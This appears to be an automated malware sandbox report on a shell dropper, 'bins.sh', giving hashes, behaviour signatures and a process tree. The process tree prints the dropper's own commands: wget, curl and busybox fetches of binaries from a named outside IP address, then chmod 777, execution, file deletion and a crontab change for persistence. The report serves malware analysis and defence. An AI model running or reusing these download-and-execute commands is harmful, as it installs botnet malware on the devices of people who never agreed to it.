Analysis
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max time kernel
151s -
max time network
157s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
04-11-2024 08:28
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
ac492d233d3526f64c5fd40d078150d1
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SHA1
6bb76a3db6c7c0d1711831fd8cbfe340a2c264ac
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SHA256
ee0ec26cc22e6c1c1a4c831a96684803d3ca076d715b02a46538b09172d6434a
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SHA512
b880791ffb529ff5a462b895b1b64aa52560533290a324362c6ab83a2354fa3d3d667288de875ba988aaabbb5070c462a2926c72178116d943dd60d6c89d6c31
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SSDEEP
96:ufMqhpoH7+JbInctVkhpoH7Izj6JVUf39t0jsr5:ufMMJb0c3u1
Malware Config
Signatures
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Contacts a large (910) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid Process 737 chmod 770 chmod 830 chmod 837 chmod -
Executes dropped EXE 4 IoCs
Processes:
JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRth0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxEMoBuAM6hE4GIo3tZArzvDD2sq33EIvHETFmTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAWioc pid Process /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt 738 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE 771 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF 831 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW 838 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW -
Renames itself 1 IoCs
Processes:
mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAWpid Process 839 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.CL8SpY crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAWcurldescription ioc Process File opened for reading /proc/859/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/918/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/2/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/16/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/372/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/858/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/893/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/921/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/926/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/927/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/12/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/71/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/868/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/879/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/933/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/976/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/957/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/3/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/371/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/894/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/948/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/854/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/935/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/953/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/533/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/845/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/857/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/866/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/74/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/145/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/313/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/402/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/895/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/899/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/952/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/37/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/114/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/703/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/5/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/20/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/24/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/892/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/920/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/932/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/937/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/496/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/875/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/882/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/883/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/970/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/971/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/876/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/908/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/936/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/965/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/18/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/705/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/844/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/873/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/863/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/956/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/22/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW File opened for reading /proc/78/cmdline mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlwgetcurlbusyboxwgetbusyboxwgetwgetcurlcurlbusyboxbusyboxdescription ioc Process File opened for modification /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW curl File opened for modification /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt wget File opened for modification /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt curl File opened for modification /tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt busybox File opened for modification /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE wget File opened for modification /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE busybox File opened for modification /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF wget File opened for modification /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW wget File opened for modification /tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE curl File opened for modification /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF curl File opened for modification /tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF busybox File opened for modification /tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:707
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/bin/rm/bin/rm bins.sh2⤵PID:713
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/usr/bin/wgetwget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵
- Writes file to tmp directory
PID:717
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/usr/bin/curlcurl -O http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵
- Writes file to tmp directory
PID:726
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵
- Writes file to tmp directory
PID:736
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/bin/chmodchmod 777 JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵
- File and Directory Permissions Modification
PID:737
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/tmp/JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt./JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵
- Executes dropped EXE
PID:738
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/bin/rmrm JZ3viDrPuU19YcENkDNVrozzMAWjuvcIRt2⤵PID:741
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/usr/bin/wgetwget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵
- Writes file to tmp directory
PID:742
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/usr/bin/curlcurl -O http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵
- Writes file to tmp directory
PID:766
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/bin/chmodchmod 777 h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵
- File and Directory Permissions Modification
PID:770
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/tmp/h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE./h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵
- Executes dropped EXE
PID:771
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/bin/rmrm h0CFNJsWJI55RGWSbkvUJhSyyrw5bGGyxE2⤵PID:774
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/usr/bin/wgetwget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵
- Writes file to tmp directory
PID:776
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/usr/bin/curlcurl -O http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵
- Writes file to tmp directory
PID:828
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵
- Writes file to tmp directory
PID:829
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/bin/chmodchmod 777 MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵
- File and Directory Permissions Modification
PID:830
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/tmp/MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF./MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵
- Executes dropped EXE
PID:831
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/bin/rmrm MoBuAM6hE4GIo3tZArzvDD2sq33EIvHETF2⤵PID:833
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/usr/bin/wgetwget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵
- Writes file to tmp directory
PID:834
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/usr/bin/curlcurl -O http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:835
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵
- Writes file to tmp directory
PID:836
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/bin/chmodchmod 777 mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵
- File and Directory Permissions Modification
PID:837
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/tmp/mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW./mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:838 -
/bin/shsh -c "crontab -l"3⤵PID:840
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/usr/bin/crontabcrontab -l4⤵PID:841
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/bin/shsh -c "crontab -"3⤵PID:842
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:843
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/bin/rmrm mTsh7FIuCdwREAZfEPPWuWYrJHaCBULKAW2⤵PID:845
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/usr/bin/wgetwget http://87.120.84.230/bins/EvdpZFkvLzVI6N1AmVzjHm2AQYYquAiyrt2⤵PID:848
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD568194d3c2fafe5a068103a01addc6ce3
SHA124684653ed4502b7f5426d56354f0ef46677c8c7
SHA256f5ed5e2922fcc1cac737d3fb3206aae5724ff1bdaf98797c8d13d2fe2c1fc31c
SHA512ea3067191a6057ef5a66c72ae09a748358d750b07baa75b745dbfbaba8949efac8a4b682678a7939e41251c7a185f5314cfc682f8d86ed468a61b21003cc6101